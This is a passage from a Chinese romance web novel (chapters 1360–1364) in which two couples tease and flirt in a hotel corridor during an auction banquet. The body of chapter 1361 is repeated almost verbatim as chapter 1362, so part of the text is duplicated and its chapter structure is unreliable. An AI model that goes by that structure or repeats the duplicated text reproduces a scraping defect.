如果星星就是要生气呢? 那笑声很轻,像是羽毛搔刮过空气,带着无尽的愉悦和宠溺。可就是这轻柔的笑声,却让许愿本就微红的耳朵,颜色又加深了几分,像熟透了的樱桃,娇艳欲滴。 她实在有些招架不住他这样的调侃,脸颊发烫,心跳也有些失序。 终于,她忍不住了,带着一丝小小的恼怒和羞赧,伸手用力地推了他一把。她的力道并不大,更像是撒娇式的抗议,推在他的肩膀上,只让他微微晃了晃。 “你快别笑了!”她佯装嗔怒,声音里却带着一丝自己都未察觉的软糯和娇憨。 盛景炎配合地收住了笑声,轻咳了一声,努力让自己的表情看起来严肃一些。但他眼底闪烁的笑意,却怎么也藏不住。 他煞有介事地抬头望了望夜空,然后一本正经地说道:“我没笑你,我在笑今晚的夜空,星星不够漂亮。” 这个借口找得未免也太离谱了。 许愿心中腹诽,实在觉得又好气又好笑。 她很想就这样抬起头,狠狠地瞪他一眼,用眼神表达自己的不满。 然而,当她真的抬起头,视线却毫无防备地撞入了盛景炎那双漆黑发亮的眼睛里。 那双眼睛,像一汪深邃的湖水,此刻盛满了温柔的笑意,专注而深情地凝视着她。 那目光里,有调侃,有宠溺,还有一种让她心跳漏拍的专注。 她原本想说的话,到了嘴边,却怎么也说不出口了。那双眼睛仿佛有魔力,能将她所有的情绪都吸进去,让她变得手足无措。 反倒是盛景炎,看着她这副想瞪人又瞪不起来,反而更显可爱的模样,忍不住又笑了起来,这次是低低的、愉悦的笑声。 他坦然地承认:“我确实在笑今晚的夜空星星不够漂亮,因为……”他故意停顿了一下,眼神里带着一丝遗憾和温柔的期待,“我本打算约你一起看星星的,今晚的星星,真的很不给面子。” 他的语气里带着一丝孩子气的抱怨,却充满了对她的在意。 许愿的心,被他这番话和这眼神,搅得有些乱。 她故意板起脸,试图找回一点主动权,轻哼一声说道:“星星如果知道你这样冤枉她们,肯定以后也不会让你看那样美的星空了。” 她的话语里,带着一丝调侃,她甚至在心里想象着那些星星听到盛景炎抱怨后,可能会气鼓鼓地躲进云层里的情景。 盛景炎听罢,笑意更浓,他摇了摇头,语气里带着一丝笃定和自信:“星星那么大度,不会跟我一般见识的。” 他仿佛真的在和星星对话,语气认真而从容,却又带着一丝戏谑,让人忍不住想笑。 许愿却故意和他唱反调,歪着头,眼神里带着一丝狡黠:“如果星星就是要生气呢?” 她想看看他还能说出什么花样来。 盛景炎看着她眼底的狡黠,忍不住再次笑了起来。 这次的笑声,比之前任何一次都要真诚和开怀。 他坦率地承认自己的“失败”,笑道:“那我就只好道歉了,说好吧,我没有在笑星星。”他顿了顿,目光灼灼地看着她,声音里充满了温柔和宠溺,“我在笑我身边的许愿小姐,真的非常可爱。我看到你,就会心情很好,很开心,绝对不是在笑话你。” 他的目光,带着那种无法掩饰的、汹涌的爱意,让她感到一阵阵的晕眩。 仿佛他将她捧在手心,用最温柔的情话,化解了她所有的防备。 许愿觉得,这人实在是太可恶了。他总能用这样轻描淡写的方式,击溃她所有的冷静和理智,让她变得不知所措。 偏偏,他的情话又说得如此真诚,让她无法真的生气,反而心里泛起一阵阵莫名的甜意。 她感觉自己此刻,完全被盛景炎拿捏得死死的,毫无还手之力。 她轻哼一声:“我才不信你这‘海王’的话。”她故意加重了“海王”两个字的音调,“你以前身边有那么多女孩子,谁知道你是不是这种哄人的话说多了,随口胡说呢。” 盛景炎身边的女伴确实多,但那都是逢场作戏,真正意义上的恋爱,他确实没谈过。 此刻听许愿如此说,他心中确实有些委屈。 那些所谓的“女伴”,于他而言,不过是商业场合的点缀,或是家族安排的应酬,他从未对任何一人动过真心。 他所有的真诚和热情,此刻都只给了眼前的这个人。 他看着她,眼神里那份玩世不恭的笑意渐渐褪去,取而代之的是一种前所未有的认真和柔软。 他的目光,专注而深邃,仿佛要将她整个人都吸进去。 他的声音,在此刻也软了下来,带着一丝不易察觉的恳切,片刻后才郑重其事地开口道: “许愿,你知道吗?笑容分很多种。”他顿了顿,目光紧紧锁住她的眼睛,像是在向她剖白自己的真心,“在他们身边,我是假笑,是敷衍的笑,甚至有时候是冷笑。” 他坦诚地承认过往的疏离和冷漠,然后话锋一转,声音里充满了前所未有的温度和深情,“可只有在你身边,我是在发自内心的笑,是真的在开心。”他微微前倾,缩短了两人之间的距离,呼吸仿佛都交织在一起,“你能感受得到,对吗?” 他的眼神,此刻盛满了无法言喻的爱意和期盼。 那是一种纯粹的、热烈的、只属于她的感情。 他的目光,像春日里最和煦的阳光,温柔地包裹着她,又像夏日里最炽热的火焰,燃烧着他的真心。 那双漆黑发亮的眼眸,此刻仿佛是宇宙的中心,里面倒映的,只有她一个人的身影。 那份汹涌的爱意,浓烈得几乎要溢出来,将她彻底包围。 许愿的心跳,不受控制地加快了速度。 她能感受到,他话语里的真诚,他眼神里的深情,那不是假的,那是发自他内心的。 她张了张嘴,想说些什么,却发现自己竟一时语塞。 她想反驳,想维持自己最后的倔强,但那双眼睛里的爱意,却让她所有的防备都土崩瓦解。 第1360章 房间内的,肯定是黎云笙 空气仿佛凝固了,只剩下两人之间那若有若无的呼吸声和心跳声。 长廊里的灯光更加柔和,将他们的影子拉得更长,也让他们之间的暧昧氛围,达到了顶点。 盛景炎耐心地等待着,他的目光依旧深深地凝视着她,眼神里的爱意和期盼,浓得化不开。 他没有催促,只是用他全部的真心,等待着她的回应。 许愿最终只是垂下眼帘,长长的睫毛在眼下投下一小片阴影,遮住了眼底复杂的情绪。 她没有再否认,也没有再反驳,只是轻轻地“嗯”了一声,声音细若蚊蚋,却足够让盛景炎听到她的回应。 盛景炎的嘴角,缓缓地、满足地扬了起来。 他知道,她听进去了,她感受到了。 夜色缱绻,长廊的灯光如薄纱般洒落,将空气都染上了一层微醺的暖意。 许愿下意识地抬手,指尖轻轻捂住自己仍旧微微发烫的脸颊,那热度似乎怎么也消不下去。 她侧过头,目光有些躲闪,不敢直视身旁的盛景炎,长长的睫毛在眼下投下浅浅的阴影,遮掩着她眼底还未完全褪去的羞意和一丝不易察觉的慌乱。 她清了清嗓子,声音带着一丝不易察觉的轻颤,试图用平静的语气来掩饰自己的不自在:“我们在外面是不是待了太久了?” 她明摆着是不想回应盛景炎的话,直接转移话题了。 她的语气里有一丝想要结束这过于亲密氛围的微妙心思。她甚至悄悄地将身体往旁边侧了侧,拉开了那么一点点微不足道的距离,仿佛这样就能让她那颗跳得有些快的心,稍稍安定下来。 盛景炎闻言,侧过头来看她。他的目光依旧温柔而专注,却并没有戳穿许愿。 他轻笑一声,声音里带着惯有的从容与宠溺,缓缓说道:“跟你在一起的话,好像并不会觉得过了太久。”他微微顿了顿,目光深邃,像是要将她眼底的每一丝情绪都看进心里,“我还可以再待久一点。” 她真的很想瞪他一眼,很想用一个凌厉的眼神告诉他,不要再这样没正经地说些让她心跳加速的情话了,让她“正常一点”。 她甚至在心里暗暗腹诽,这家伙的情话技能是不是点满了,怎么可以如此自然地说出这些让人面红耳赤的话。 然而,当她真的抬起眼,对上他那双含着笑意、盛满柔情的眼眸时,那份佯装的怒气和想要瞪人的眼神,却怎么也施展不出来了。 他的目光太过温柔,太过专注,让她所有的“攻击性”都在瞬间土崩瓦解,只剩下满心的无奈和更深的羞赧。 最终,她只是抿了抿唇,将头埋得更低了些,放弃了这个念头。 她深吸一口气,带着一丝小小的倔强和不容置喙的语气,再次开口:“快点回去了。”这回,她的声音里多了一丝坚决,仿佛是在给自己下命令,也好像是在提醒他不许再胡闹。 盛景炎看着她这副强装镇定又可爱至极的模样,嘴角的笑意更深了。 他没有再逗她,而是顺从地点了点头,温声应道:“好。” 两人并肩往回走,脚步声在铺着厚实地毯的长廊上,夜风从敞开的窗棂吹入,带着些许凉意,拂过许愿微热的脸颊,让她混沌的思绪清醒了几分。 他们走得很慢,就在他们即将回到喧嚣的宴会厅区域时,路过一间半掩着的包厢。 就在这时,包厢的门被从里面推开,发出轻微的“吱呀”声。 温栩栩的身影从房间内走了出来。 许愿的目光不经意间扫过,微微扬了扬眉。 她一眼就注意到,温栩栩身上的礼服已经换了一件。 不再是之前墨澜送的那件,而是一套全新的、更为夺目的礼服裙。 那是一套紫色的贴身高奢华服裙,其设计之精巧、用料之奢华,让人一眼望去便难以移开视线。 这件礼服裙,通体是高贵而神秘的深紫色,如同夜幕下最深邃的紫罗兰,又像蕴藏着无穷星光的宇宙。布料是顶级的丝绸与薄纱的结合,丝绸部分紧贴着温栩栩玲珑有致的身躯,完美勾勒出她优雅的曲线,从肩颈的优美线条,流畅地延伸至腰际,再微微散开,展现出女性的婀娜多姿。 薄纱部分则在裙摆和肩带处层层叠叠,轻盈飘逸,行走间仿佛有紫色的云雾缭绕其身,又似夜风中摇曳的花瓣,散发着迷人的光泽。 裙身上点缀着无数细碎的、如同星辰般的水晶和亮片,在走廊灯光的折射下,闪烁着点点光芒,宛如将整个银河都披在了身上。 裙摆拖地,走动时荡起一圈圈涟漪,每一步都摇曳生姿,尽显高贵与奢华。 这件礼服,是高定中的高定,是限量中的极致,不同于之前墨澜那件全球有三套,这一件,是有且仅有一套的孤品,其价值高达三百万美元。 此刻的温栩栩,穿上这件紫色贴身高奢华服裙,整个人原本就明艳的五官,在深紫色的映衬下,显得更加光彩照人,肌肤赛雪,唇若点朱。 礼服的高腰设计和贴身剪裁,将她姣好的身材比例展现得淋漓尽致,婀娜多姿,摇曳生辉。 她站在那里,就像一朵在暗夜中盛放的紫色妖姬,明艳耀眼,却又带着一种不可亵渎的高贵与冷艳,让人忍不住屏息凝视,心生赞叹。 然而,许愿的目光却敏锐地捕捉到了她唇瓣上那一抹不自然的红肿,以及脖颈间新换上的那串珍珠项链。 那串珍珠项链,颗颗圆润饱满,光泽莹润,是极为珍贵的南洋白珠,大小均匀,串成一条优雅的链子,正巧搭在这件紫色的礼服裙上,相得益彰,更添几分雍容华贵。 但许愿却注意到,这串项链的位置,以及温栩栩下意识用手轻抚的动作,如果仔细看的话,还能看到她被珍珠项链盖住的地方有一点红痕。 许愿心中了然,房间内的,肯定是黎云笙了。 而温栩栩,在看到许愿和盛景炎时,眼中也快速地闪过一丝复杂的神色。 第1361章 这算是夸人的话吗? 盛景炎试图反驳,“‘人以群分,物以类聚’,那你在阿笙身边,你算什么?按你这逻辑,你也是个‘变态’?” 温栩栩却丝毫没有被他的话影响:“对啊,不然我怎么会跟他天生一对儿呢。” 她的话语里没有丝毫的贬义,反而带着一种找到了灵魂伴侣的笃定和骄傲。 在她看来,能和黎云笙这种极度占有欲的人相互理解、相互包容,甚至彼此“同化”,本身就是一种难得的契合。 她甚至还真的很骄傲的样子,完全不觉得有什么问题。 “……” 盛景炎彻底无言以对。 他看着温栩栩,半晌说不出话来,他想反驳,却发现自己找不到任何理由。 温栩栩的逻辑虽然听起来有些“歪”,但确实还有那么点道理,正常人谁能接受黎云笙那么抢的占有欲的。 他和黎云笙,或许真的就是那种在感情上极度排他、极度渴望独占的人。 而温栩栩,能够理解和接纳这种“病态”,甚至甘之如饴,这本身就是一种“同类”的证明。 许愿看着他们,忍不住轻笑出声。 她看着盛景炎那副无奈又好笑的表情,又看看温栩栩那副理所当然、甚至有些得意的样子,只觉得有点可爱。 温栩栩见他不说话,还以为自己说服了他,得意地挑了挑眉。 盛景炎嘴角扬起一抹戏谑的弧度,语调拖得长长的,带着几分调侃与真心实意的认同:“行,你俩真是天生一对儿。” 温栩栩闻言,颇为得意地挑了挑眉,唇角不自觉地向上扬起,她大大方方地接受了这份“赞誉”,回了一句:“谢谢。”她的姿态轻松,甚至带着点胜利者的姿态,怎么看都是有点小得意的。 许愿在一旁看着这两人,觉得又好气又好笑。她适时地开口,带着提醒:“还不回拍卖会场?” 盛景炎却笑了,他没有立刻回答许愿,而是慢条斯理地倚靠在走廊的门边,姿态闲散,他整个人都放松下来,眉眼之间都带着一种明显的、甚至有些过分的笑意,悠悠然道:“先等等。” 他顿了顿,“我好奇。” “好奇什么?”许愿被他这副样子弄得有些无奈,追问道。 “我好奇里面的人是不是阿笙。”盛景炎开口回应。 温栩栩闻言,唇角不受控制地抽搐了一下。 她觉得盛景炎真的是无聊到家了,这种“蹲点”的行为,简直幼稚得让人不忍直视。 她忍不住吐槽道:“你看到我都这样了,难道还猜不出来?” 她觉得盛景炎纯粹是没事找事,真的很闲啊。 盛景炎却依旧不慌不忙,他修长的手指漫不经心地点了点冰冷的墙沿,动作优雅,语气却带着几分漫不经心的淡然:“嗯,都不用猜。看到阿笙出来,就知道是为了你。” 他承认自己多此一举,但随即又补充了一句:“我就是闲得无聊。” 看看,温栩栩就说他闲得无聊吧,没想到这人竟然还直接承认了。 温栩栩无奈地摇了摇头,她实在忍不住,偏过头,用一种“你管管他”的眼神看向许愿,寻求同盟。 许愿此刻也显得有些懒洋洋的,她摊了摊手,脸上带着一种“我也没办法”的爱莫能助的表情,甚至这副表情跟盛景炎真的有点像的。 然而,她接下来的话,却让温栩栩彻底无语了。 许愿轻描淡写道:“其实,我也好奇里面到底是不是黎云笙。” 得,又来一个八卦的。 这话一出,气氛又微妙了起来。 许愿和黎云笙之间,一直有种微妙的、淡淡的互相看不惯。 或许是因为性格不合,或许是因为一些过往的交集,两人总是带着点“看对方不爽”的劲头。所以,此刻许愿会好奇,甚至有点期待,不是真的关心黎云笙,而是抱着一种“如果能给黎云笙添点堵,那可真是太好了”的心态。 这种看热闹不嫌事大的心理,让她瞬间和盛景炎站在了统一战线上,两人还真就心照不宣地一起在这边“蹲点”,丝毫没有要走的意思。 温栩栩看着这两人,唇角再次抽了抽,心里只剩下“绝配”两个字。 她觉得这两人此刻的状态,简直绝了,一个无聊到极致,一个看热闹到极致,真是绝妙的组合。 她忍不住问道:“真的不无聊吗?” 盛景炎闻言,却转过头,目光温柔地看向身旁的许愿,那眼神里的缱绻和深情,与他之前戏谑的语气形成了鲜明的对比。 他开口,声音里带着一丝只有在许愿面前才会有的柔和:“如果只有我一个人,可能有点无聊。”他顿了顿,目光灼灼,“但如果身边有阿愿,那就变得有趣了。” 温栩栩听到这话,心里的吐槽槽瞬间爆满。 她觉得盛景炎真是病得不轻,这种时候,这种场合,都能见缝插针地说句情话,真是让人叹为观止。 她忍不住腹诽,这人的情话是不是刻在骨子里的,随时随地都能脱口而出。 她不想再听盛景炎继续“秀”下去,便伸出手,轻轻地敲了敲包厢的门,试图用这个动作打断盛景炎的“表演”,也提醒里面的人。 盛景炎却挑了挑眉,带着几分故意和调侃,开口道:“敲什么门?有什么是我不能看的吗?” 温栩栩心里默默翻了个白眼,心道:“你应该说有什么是你能看的吧。” 不过,盛景炎也只是嘴上说说,并没有真的上前去开门。 包厢门,却从里面被打开了。 门开的一瞬间,黎云笙整个人出现在门口。 此刻的黎云笙,与他平日里那副冷淡、疏离、仿佛拒人于千里之外的模样大相径庭。 他整个人看着有点懒洋洋的,正处在一种放松而餍足的状态。他靠在门框上,姿态闲适,甚至带着一丝慵懒的风情。平日里总是紧绷的下颌线此刻似乎都柔和了几分,眉眼间的冷意被一种淡淡的倦意和一丝若有若无的愉悦所取代。 他身上那股标志性的、生人勿近的冷淡气息,此刻都少了几分,仿佛被什么温暖的东西给融化了。 第1362章 有什么是我不能看的吗? 盛景炎试图反驳,“‘人以群分,物以类聚’,那你在阿笙身边,你算什么?按你这逻辑,你也是个‘变态’?” 温栩栩却丝毫没有被他的话影响:“对啊,不然我怎么会跟他天生一对儿呢。” 她的话语里没有丝毫的贬义,反而带着一种找到了灵魂伴侣的笃定和骄傲。 在她看来,能和黎云笙这种极度占有欲的人相互理解、相互包容,甚至彼此“同化”,本身就是一种难得的契合。 她甚至还真的很骄傲的样子,完全不觉得有什么问题。 “……” 盛景炎彻底无言以对。 他看着温栩栩,半晌说不出话来,他想反驳,却发现自己找不到任何理由。 温栩栩的逻辑虽然听起来有些“歪”,但确实还有那么点道理,正常人谁能接受黎云笙那么抢的占有欲的。 他和黎云笙,或许真的就是那种在感情上极度排他、极度渴望独占的人。 而温栩栩,能够理解和接纳这种“病态”,甚至甘之如饴,这本身就是一种“同类”的证明。 许愿看着他们,忍不住轻笑出声。 她看着盛景炎那副无奈又好笑的表情,又看看温栩栩那副理所当然、甚至有些得意的样子,只觉得有点可爱。 温栩栩见他不说话,还以为自己说服了他,得意地挑了挑眉。 盛景炎嘴角扬起一抹戏谑的弧度,语调拖得长长的,带着几分调侃与真心实意的认同:“行,你俩真是天生一对儿。” 温栩栩闻言,颇为得意地挑了挑眉,唇角不自觉地向上扬起,她大大方方地接受了这份“赞誉”,回了一句:“谢谢。”她的姿态轻松,甚至带着点胜利者的姿态,怎么看都是有点小得意的。 许愿在一旁看着这两人,觉得又好气又好笑。她适时地开口,带着提醒:“还不回拍卖会场?” 盛景炎却笑了,他没有立刻回答许愿,而是慢条斯理地倚靠在走廊的门边,姿态闲散,他整个人都放松下来,眉眼之间都带着一种明显的、甚至有些过分的笑意,悠悠然道:“先等等。” 他顿了顿,“我好奇。” “好奇什么?”许愿被他这副样子弄得有些无奈,追问道。 “我好奇里面的人是不是阿笙。”盛景炎开口回应。 温栩栩闻言,唇角不受控制地抽搐了一下。 她觉得盛景炎真的是无聊到家了,这种“蹲点”的行为,简直幼稚得让人不忍直视。 她忍不住吐槽道:“你看到我都这样了,难道还猜不出来?” 她觉得盛景炎纯粹是没事找事,真的很闲啊。 盛景炎却依旧不慌不忙,他修长的手指漫不经心地点了点冰冷的墙沿,动作优雅,语气却带着几分漫不经心的淡然:“嗯,都不用猜。看到阿笙出来,就知道是为了你。” 他承认自己多此一举,但随即又补充了一句:“我就是闲得无聊。” 看看,温栩栩就说他闲得无聊吧,没想到这人竟然还直接承认了。 温栩栩无奈地摇了摇头,她实在忍不住,偏过头,用一种“你管管他”的眼神看向许愿,寻求同盟。 许愿此刻也显得有些懒洋洋的,她摊了摊手,脸上带着一种“我也没办法”的爱莫能助的表情,甚至这副表情跟盛景炎真的有点像的。 然而,她接下来的话,却让温栩栩彻底无语了。 许愿轻描淡写道:“其实,我也好奇里面到底是不是黎云笙。” 得,又来一个八卦的。 这话一出,气氛又微妙了起来。 许愿和黎云笙之间,一直有种微妙的、淡淡的互相看不惯。 或许是因为性格不合,或许是因为一些过往的交集,两人总是带着点“看对方不爽”的劲头。所以,此刻许愿会好奇,甚至有点期待,不是真的关心黎云笙,而是抱着一种“如果能给黎云笙添点堵,那可真是太好了”的心态。 这种看热闹不嫌事大的心理,让她瞬间和盛景炎站在了统一战线上,两人还真就心照不宣地一起在这边“蹲点”,丝毫没有要走的意思。 温栩栩看着这两人,唇角再次抽了抽,心里只剩下“绝配”两个字。 她觉得这两人此刻的状态,简直绝了,一个无聊到极致,一个看热闹到极致,真是绝妙的组合。 她忍不住问道:“真的不无聊吗?” 盛景炎闻言,却转过头,目光温柔地看向身旁的许愿,那眼神里的缱绻和深情,与他之前戏谑的语气形成了鲜明的对比。 他开口,声音里带着一丝只有在许愿面前才会有的柔和:“如果只有我一个人,可能有点无聊。”他顿了顿,目光灼灼,“但如果身边有阿愿,那就变得有趣了。” 温栩栩听到这话,心里的吐槽槽瞬间爆满。 她觉得盛景炎真是病得不轻,这种时候,这种场合,都能见缝插针地说句情话,真是让人叹为观止。 她忍不住腹诽,这人的情话是不是刻在骨子里的,随时随地都能脱口而出。 她不想再听盛景炎继续“秀”下去,便伸出手,轻轻地敲了敲包厢的门,试图用这个动作打断盛景炎的“表演”,也提醒里面的人。 盛景炎却挑了挑眉,带着几分故意和调侃,开口道:“敲什么门?有什么是我不能看的吗?” 温栩栩心里默默翻了个白眼,心道:“你应该说有什么是你能看的吧。” 不过,盛景炎也只是嘴上说说,并没有真的上前去开门。 包厢门,却从里面被打开了。 门开的一瞬间,黎云笙整个人出现在门口。 此刻的黎云笙,与他平日里那副冷淡、疏离、仿佛拒人于千里之外的模样大相径庭。 他整个人看着有点懒洋洋的,正处在一种放松而餍足的状态。他靠在门框上,姿态闲适,甚至带着一丝慵懒的风情。平日里总是紧绷的下颌线此刻似乎都柔和了几分,眉眼间的冷意被一种淡淡的倦意和一丝若有若无的愉悦所取代。 他身上那股标志性的、生人勿近的冷淡气息,此刻都少了几分,仿佛被什么温暖的东西给融化了。 第1363章 少在这儿阴阳怪气 他微微眯着眼,目光先是落在温栩栩身上,带着一丝安抚和占有后的余韵,随即,他的视线扫过盛景炎,最后,落在了许愿身上。 看到许愿也在这里,黎云笙忍不住又是一声轻啧。 那声啧,带着几分惯有的挑剔,几分不耐,也带着一丝“你怎么也在这儿添乱”的无语。 他的眉头微不可察地蹙了一下,似乎对许愿的出现感到些许烦躁。 黎云笙的目光在许愿身上停留了片刻,那眼神里的复杂情绪一闪而过,随即又恢复了平日里的几分冷淡。 盛景炎看着黎云笙这副样子,他嘴角噙着一抹意味深长的笑,慢悠悠地开口,语气里带着几分调侃:“哟,阿笙,出来透气啊?” 黎云笙嗤了一声:“少在这儿阴阳怪气。” 盛景炎听到黎云笙那声轻啧,眉梢一挑,语气里带着几分笑意和挑衅,反问道:“你说我阴阳怪气,你呢?你看到阿愿就是这副表情?” 他话音里满是调侃,目光在黎云笙和许愿之间来回游移,确实是有点想知道黎云笙到底为什么这么讨厌许愿。 确实,黎云笙看到许愿时,那副不加掩饰的冷淡和挑剔,几乎成了他本能的反应。 哪怕此刻他身上还残留着些许慵懒的气息,但只要视线落在许愿身上,那股熟悉的冷意就会不自觉地浮现出来,仿佛两人之间有什么无法调和的天然磁场在互相排斥。 温栩栩站在一旁,被黎云笙半拉半拽地护在身后,只露出半张带着好奇和探究的脸。 她此刻也有些困惑,甚至可以说有点好奇。 按理说,黎云笙和许愿之间其实并没有多少实质性的交集,既没有利益冲突,也没有深仇大恨,顶多就是性格不合,气场不投。可黎云笙这份“看不顺眼”似乎已经刻进了骨子里,几乎到了条件反射的地步。 温栩栩实在想不通,黎云笙到底为什么就这么讨厌许愿?这份讨厌,甚至比他对某些真正得罪过他的人还要直接和纯粹。 她歪着头,目光在两人之间逡巡,试图找出一丝端倪,却一无所获。 黎云笙似乎察觉到了温栩栩的好奇目光,他并未回头,只是用一只手稳稳地将她圈在身后,像是宣示主权,又像是在隔绝某种潜在的“威胁”。 随后,他撩起眼皮,目光淡淡地扫向盛景炎,那眼神里带着一丝不易察觉的审视和反问:“你没感觉吗?” 盛景炎闻言,眼皮不受控制地跳了一下。 他敏锐地捕捉到了黎云笙语气里的不同寻常,下意识地追问:“什么?” 黎云笙的语速不紧不慢,带着他一贯的沉稳和笃定。他一边说着,一边又将温栩栩往自己身边带了带,动作自然得仿佛已经重复过千百遍。 他看着盛景炎,一字一句地开口,语气平淡:“你没感觉许愿和温栩栩两人站在一起的磁场有些奇怪吗?” 盛景炎先是愣了一下,怀疑自己是不是听错了。 他眨了眨眼,又确认了一遍黎云笙那张写满认真和笃定的脸。 温栩栩和阿愿之间有奇怪的磁场?这究竟是他耳朵出了问题,还是黎云笙的脑回路有问题? 盛景炎一时之间只觉得荒谬至极,仿佛听到了今晚最离谱的笑话。 他下意识地看向温栩栩,又看向许愿,试图在她们身上找到一丝所谓的“奇怪磁场”,却只看到了温栩栩的茫然和许愿的错愕。 盛景炎的反应在黎云笙的意料之中。 黎云笙只是淡淡地回应,语气里没有丝毫波澜,仿佛在陈述一个显而易见的事实:“你没感觉吗?”他顿了顿,目光在许愿和温栩栩之间逡巡了一圈,给出了自己的结论,“如果没有我跟你,她们两个人就像是会牵手私奔的那类人。” 盛景炎的嘴角不受控制地抽搐了一下,他觉得黎云笙此刻的逻辑已经完全跳脱了他的理解范畴。 他很想说,黎云笙你是不是疯了? 但偏偏,黎云笙的语气又太过认真,甚至带着一丝分析的冷静,让他无法用一句简单的“胡说八道”来反驳。 黎云笙继续慢条斯理地阐述他的观点:“圈子里颜性恋也不少,她们两个看对眼走到一起也不是不可能。” 他的逻辑链条似乎非常清晰。 磁场奇怪+颜性恋盛行+两人颜值在线=一切皆有可能。 盛景炎一时之间只觉得无语凝噎。 他张了张嘴,想反驳,却发现黎云笙说的这些要素,竟然在某种程度上都是事实。 娱乐圈这个名利场,确实充满了各种可能性,其中就包括对“美”的极致追逐和无差别欣赏。 颜性恋,在这个圈子里,并不罕见,甚至可以说是某种潜规则。 他甚至在脑海中下意识地搜索着可以佐证黎云笙观点的例子。 不说远的,黎云笙那个私生子哥哥,不就是个活生生的颜性恋标本吗?在圈子里荤素不忌,男女通吃,只要长得足够好看,就能入他的法眼,成为他猎艳的目标。他的感情世界,似乎完全建立在“颜值即正义”的基础之上。 当然,盛景炎心里很清楚,用那个烂人来举例,确实是有点侮辱温栩栩和许愿了。 他实在没忍住,下意识地看向身旁的许愿。 许愿此刻也是一脸错愕,显然被黎云笙这番天马行空的“分析”给惊住了。 她那双漂亮的杏眼里写满了“你没事吧”的疑惑,嘴角也微微向下撇着,露出一丝不加掩饰的无语。 盛景炎的目光从许愿的脸上移开,又看向被黎云笙牢牢护在身后的温栩栩。 温栩栩也正探出半个脑袋,脸上带着同样的茫然和不解,既困惑又无辜。 盛景炎的目光在她们两人之间来回游移,他看着许愿,她有着一张标准的古典美人脸,气质清冷,眼神澄澈却又沉静带着点淡淡的冷感,带着一种不食人间烟火的仙气。 他又看向温栩栩,她五官明艳,气质自信张扬,像一朵热烈绽放的玫瑰,浑身上下都散发着一种鲜活的生命力。她的美,是那种一眼就能抓住人眼球,让人忍不住想要靠近的美。 一个是清冷,一个是明艳。 她们风格迥异,却又同样耀眼。 第1364章 安分点 盛景炎没忍住开始想象,如果她们没有被隔开,如果她们站在一起,会是怎样一副景象? 他越想,越觉得黎云笙的话似乎有那么一丝丝……难以言喻的“道理”。 盛景炎越看,越觉得这种“般配”感挥之不去。 他甚至能想象到,如果她们真的“牵手私奔”了,圈子里会掀起怎样的腥风血雨,又会有多少人为之疯狂。 他无奈地揉了揉眉心,觉得自己真是被黎云笙给带偏了。 温栩栩那点无辜的模样,分明就是装出来的。 她最是擅长在眉眼间流转出千般姿态,一举一动都能将人的心搅得七上八下。 此刻她见盛景炎目光移开,不再紧盯着自己,那双清澈的眼眸里便浮现出一抹狡黠的笑意,像极了偷到腥的猫,灵动又带着点小得意。她微微抿唇,唇角勾起的弧度恰到好处,既不张扬,又足以让人察觉她的调皮。 下一刻,她像是故意要惹出点动静,轻巧地往许愿那边凑了凑,肩膀几乎要碰到许愿的手臂。 这个动作,带着几分孩子气的亲昵,又隐隐有挑衅的意味,仿佛在无声地告诉黎云笙你越是不让我做什么,我偏要反其道而行之。 黎云笙的注意力,自始至终都若有若无地锁定在温栩栩身上。她那细微的动作,自然没能逃过他的眼睛。 他眸色一深,几乎是下意识地,长臂一伸,便不容置疑地将人从许愿身边“拽”了回来,重新安置在自己身后,用高大的身躯将她与外界隔绝开来,动作带着一丝不容抗拒的强势。那 姿态,像极了护食的猛兽,将自己最珍视的宝物紧紧藏匿。 温栩栩被他拽得一个踉跄,忍不住哼哼几声,随即脚下一用力,毫不客气地踩在了黎云笙的鞋面上。 她踩得不重,却带着十足的任性,仿佛在无声地表达自己的不满与抗议。 黎云笙发出一声低低的轻啧,低头看向她,眉峰微蹙,眼神里却没有真正的责备,反而带着一种“你又来”的无奈与纵容。 他微微俯身,声音压低,带着独特的磁性,一字一句地问道:“怎么就这么喜欢胡闹?”那语气,与其说是质问更像是带着宠溺的叹息。 温栩栩仰起头,迎上他的目光,非但没有丝毫收敛,反而将那份任性发挥到了极致。 她歪了歪头,眼里的笑意更浓,带着点小得意和小狡猾,反唇相讥道:“那你反思一下自己,怎么我只踹你不去踹别人呢?” 她明显是只有在黎云笙面前才会展现的娇蛮与亲昵。 这番对话,落在一旁的盛景炎耳中,简直让他瞠目结舌。 他认识黎云笙这么多年,见过他冷峻、见过他淡然、见过他运筹帷幄,却唯独没见过谁能在他身边如此无理取闹,还能被他用这般无奈又纵容的姿态对待。 温栩栩,是唯一一个。 盛景炎忍不住在心里腹诽。 难得,这么多年,都没见谁能在黎云笙身边胡闹到这种地步还能毫发无伤,甚至让黎云笙如此“配合”的。 黎云笙面对温栩栩的“歪理”,脸上那份无奈的神情愈发明显。 他看着她那双亮晶晶、写满得意与狡黠的眼睛,仿佛所有的原则和冷静在这一刻都溃不成军。 下一刻,他伸出手,准确无误地握住了温栩栩那只不安分的小手。他的动作看似随意,实则带着不容挣脱的力道。 他的手掌宽大而温暖,将温栩栩的手完全包裹其中,指腹不经意地在她的手背上摩挲了一下,像是在安抚,又像是宣告着所有权。 “安分点。”他再次开口,声音低沉而平稳。 温栩栩被他握住手,身体微微一僵,随即那股子调皮劲儿似乎被这突如其来的亲密举动安抚下去不少。 她低头看了看两人交握的手,又抬眼看了看黎云笙那张近在咫尺、线条分明的脸,唇角的笑意渐渐收敛,但眼底的光芒却愈发柔和。 盛景炎轻咳了一声,打破了空气中那份浓稠而暧昧的寂静。 他环视四周,压低声音说道:“别忘了,温栩栩现在可是公众人物,一举一动都被人盯着。你们两个这样牵扯到一起,万一被有心人拍到,再扣些莫名其妙的帽子到温栩栩身上,到时候又是一阵腥风血雨,那些黑水脏水不知道又要泼成什么样。” 他并非无的放矢,而是深知在这个名利场,一张照片、一个模糊的片段,都可能被无限放大,被恶意解读,足以毁掉一个艺人的清誉和事业。 温栩栩如今正处于事业的上升期,任何负面新闻对她来说都是致命的打击。 黎云笙闻言,眉头微不可察地蹙了一下。 他侧过头,目光扫过走廊尽头,那里灯光幽暗,偶尔有侍者无声地穿行,显得格外安静。他 收回视线,语气依旧平淡,却带着一种与生俱来的倨傲和冷淡:“在这里,没人敢乱拍。能进这个门的,都清楚这里的规矩。除非是蠢到无可救药,自断后路的,才会这么没脑子,为了点所谓的‘猛料’去得罪不该得罪的人。” 他的目光始终落在温栩栩身上,那只握着她的手,依旧没有松开,似乎在用行动告诉所有人,他有足够的能力护她周全。 